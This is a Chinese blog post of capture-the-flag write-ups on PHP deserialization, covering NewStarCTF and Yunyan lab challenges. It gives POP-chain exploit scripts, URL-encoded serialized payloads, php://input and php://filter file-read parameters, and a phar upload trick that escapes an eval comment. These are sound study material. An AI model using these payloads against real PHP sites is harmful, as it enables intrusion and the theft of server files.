PHP反序列化

[NewStarCTF 公开赛赛道]UnserializeOne

image-20240829175257228

总结:以后就这样倒推,画图解。有时可把protected和private属性改为public。生产pop链时,把所有方法删了。有时候记得要url编码,有时是get请求有时是post请求,记得改请求方式。

[NewStarCTF 公开赛赛道]UnserializeThree

1,首先一看文件上传的php反序列化,想到phar文件上传

2,查看源代码,发现class.php,这是漏洞产生的地方。image-20240831163454190

3.phar文件产生脚本

image-20240831163523541

4.绕过思路:%0a即换行符\n被识别,那么可以用%0d即换行符\r进行绕过。需要换行符的原因是,eval函数里面有#号,使用换行符可以使我的代码往下一行,从而绕过#的注释。一般flag在/flag下,若不是,则可以一个一个命令的换。

5.注意,这个题在我文件上传成功后显示如图image-20240831164211951

其实输入url时,得在class.php这个页面上输class.php?file=phar://upload/89...... 因为class.php上才接受参数file的值。其它注意点就是,有时文件上传时会过滤,对于.phar文件,就算把后缀改为.gif .png .jpg也能执行

云演平台php反序列化第二题

https://www.yunyansec.com/#/experiment/securitydetail/43/0

1、右键查看源代码。

image-nL4MNocv

2、审计代码,发现本题有以下要求:

1)get方式传递三个参数

2)存在$user

3)读取的$user文件内容===welcome to the bugkuctf

4)$file要求为hint.php

3、发现有文件包含,利用php伪协议进行文件读取。在本页面进行抓包,并修改数据如下(方法修改为POST)

GET传参:

/0.1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=

POST传参:

welcome to the bugkuctf

image-0EaqsD6z

4、得到如图所示内容,进行base64解码得如下代码。

<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  //这里$this->file 可以设置为flag.php
            echo file_get_contents($this->file); //显示flag.php内容
   echo "<br>";
  return ("good");
        }  
    }  
}  
?>  

5、同理,我们这里对GET传参进行修改以便得到index.php的源码。

image-WiodwBuT

经过base64解码后index.php的源码为

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    if(preg_match("/flag/",$file)){ //过滤URL里的flag字眼
    echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  //可以在反序列化的过程中返回flag.php的值,并在这里显示
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
?>  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

6、从源码中我们可以得知如下信息:

1)对关键字flag进行了正则匹配

2)在hint.php中定义了一个FLag类,其中有一个__tostring 方法,这个方法可以理解为将这个类作为字符串执行时会自动执行的一个函数。

3)__tostring 方法执行时,将变量$file作为文件名输出文件内容,结合提示flag.php,猜测屏蔽的flag.php文件在此打开

4)在index.php源码中看到了$password的作用

5)在else代码块中又包含了$file,并且对$password进行反序列化

7、exp:

<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  //这里$this->file 可以设置为flag.php
            echo file_get_contents($this->file); //显示flag.php内容
   echo "<br>";
  return ("good");
        }  
    }  
}  
$a = new Flag();
$a->file = "flag.php";
echo serialize($a);
?> 

O:4:"Flag":1:

7、最后我们把构造好的payload进行传参即可。

image-Odmrf1Kt

云演平台php反序列化第四关(php伪协议+文件包含+正则表达式触发tostring)

本题最大知识点:在正则过滤时 就是一个类被当作字符串对待 触发__toString

源码:
image-20240908131028695

1、进行代码审计,我们先从类Modifier进行分析。

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

2、Modifier类中的include($value)是我们最终想要利用的点,我们需要将flag.php文件包含进来。对于魔法函数__invoke(),指当一个类以按一个函数的方法被调用时调用该魔法函数。

3、然后我们在Test类中进行分析。

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

4、发现了__get()魔术方法里边的$function被按照函数的方法被调用 如果我们能把$function实例化也就是$p实例化成一个对象 那么就可以调用__invoke()。对于__get魔术方法,指当调用一个不存在的或者是无法访问的属性的时候被调用。

5、继续分析Show类。

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

6、Show类里面的__toString()魔术方法如果被调用 那么会返回$this->str->source语句。如果说我们把str实例化成一个类 那么如果str类里面没有source属性 那么就满足__get()魔术方法的条件。如何调用__toString()魔术方法?当一个对象被当作字符串对待的时候执行该魔术方法。也就是说只要是能进行字符串处理的地方都有可能满足条件。我们看到__wakeup()下面的正则表达式 这里正则表达式对字符串进行过滤,而过滤的对象就是$this->source。我们需要把$this->source实例化成一个对象,但是其实这个$this->source在上面__construct()处理时 已经有$file赋值了,也就是说到时候实例化一个Show()类时,传上一个类就可以满足这题的所有pop链了。

POP链:

实例化Show类,调用__wakeup()-->__toString()-->__get()-->invoke()-->flag

exp:

<?php
class Modifier {
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
    public $p;
}
class Show{
    public $source;
    public $str;
    public function __construct($file){
    $this->source = $file;
    }
}
$a = new Show(aaa);//实例化Show 传入aaa只是为了满足__construct
$a->str=new Test();//实例化成一个没有source属性的类
$a->str->p = new Modifier();//实例化p
$b=new Show($a);//因为我们要传入$file=一个类 这样$this->source=$file之后 在正则过滤时 就是一个类被当作字符串对待 触发__toString
echo urlencode(serialize($b));//输出
?>

序列化且进行url编码后为

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A3%3A%22aaa%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

payload:

?z=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A3%3A%22aaa%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

返回结果为

PD9waHAKJGZsYWcgPSAiZmxhZ3swNWI4ODI1NjY5YWU5ZGVlNTE5MzQ5ZTRhOWVkYWZjYX0iOwo/Pg==

进行base64解码后得到flag。

云演第六关

源码:

image-20240908135405839

重要知识点:__wakeup魔术方法,执行过程中调用了$gooda进行了字符串拼接,触发了bgood中的__toString魔术方法,还有就是数组的使用构造,$$的含义

1、进行代码审计。对agood类反序列化触发__wakeup魔术方法,执行过程中调用了$gooda进行了字符串拼接,触发了bgood中的__toString魔术方法,方法内部调用$items['ss']的变量,调用对象中不存在的成员变量,触发__get($key),方法,这里的$key就是我们所调用的变量的值,也就是sword。最后输出$$tmp,也就是要将$tmp赋值为flag,给cgood中params[$sword]赋值为flag即可。直接上exp:

<?php
 class agood{
     public $gooda;
     function __construct()
     {
         $this->gooda = new bgood();
     }

 }
 class bgood{

     public $items = array();
     function __construct(){
         $this->items = array("ss"=>new cgood());
     }
 }

 class cgood{
     public $params = array("sword"=>"flag");
 }
 echo urlencode(serialize(new agood()));
 ?>

运行后得

payload为

?data=O%3A5%3A%22agood%22%3A1%3A%7Bs%3A5%3A%22gooda%22%3BO%3A5%3A%22bgood%22%3A1%3A%7Bs%3A5%3A%22items%22%3Ba%3A1%3A%7Bs%3A2%3A%22ss%22%3BO%3A5%3A%22cgood%22%3A1%3A%7Bs%3A6%3A%22params%22%3Ba%3A1%3A%7Bs%3A5%3A%22sword%22%3Bs%3A4%3A%22flag%22%3B%7D%7D%7D%7D%7D

var_dump($$tmp)的含义

image-20240908134038740

posted @ 2025-09-26 16:40  破防剑客  阅读(17)  评论(0)    收藏  举报